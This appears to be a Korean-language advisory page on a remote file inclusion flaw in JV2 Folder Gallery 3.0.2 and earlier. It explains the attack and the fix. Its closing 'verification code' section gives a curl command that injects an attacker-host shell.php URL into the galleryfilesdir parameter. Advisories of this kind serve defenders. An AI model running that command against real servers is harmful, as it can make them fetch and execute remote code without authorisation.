🇰🇷 한글 설명
JV2 Folder Gallery 3.0.2 이전 버전의 theme/include_mode/template.php에서 galleryfilesdir 매개변수를 통해 원격 파일을 포함시킬 수 있는 취약점입니다. 공격자가 악의적인 PHP 코드가 포함된 파일의 URL을 전달하여 서버에서 임의의 코드를 실행할 수 있습니다.
💡 쉬운 설명
갤러리 프로그램이 사용자가 지정한 경로에서 파일을 그냥 불러와서 실행하는 보안 결함입니다. 해커가 악성 코드가 담긴 파일의 주소를 보내면 서버가 그것을 실행시켜버립니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in theme/include_mode/template.php in JV2 Folder Gallery 3.0.2 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the galleryfilesdir parameter.
📍 영향받는 시스템
JV2 Folder Gallery 3.0.2 및 이전 버전
⚔️ 공격 벡터
HTTP GET/POST 요청으로 galleryfilesdir 파라미터에 악성 PHP 파일 URL을 주입하여 원격 코드 실행
🛡️ 대응 방법
JV2 Folder Gallery를 3.0.3 이상으로 업그레이드하고 입력값 검증 및 화이트리스트 기반 파일 포함 제어를 적용
🔧 검증 코드
응답에 PHP 에러, 경고 또는 원격 서버의 내용이 포함되면 RFI 취약점이 존재합니다. 정상인 경우 해당 콘텐츠가 로드되지 않습니다.
curl -s 'http://target/theme/include_mode/template.php?galleryfilesdir=http://attacker.com/shell.php' | grep -i 'php\|error\|warning'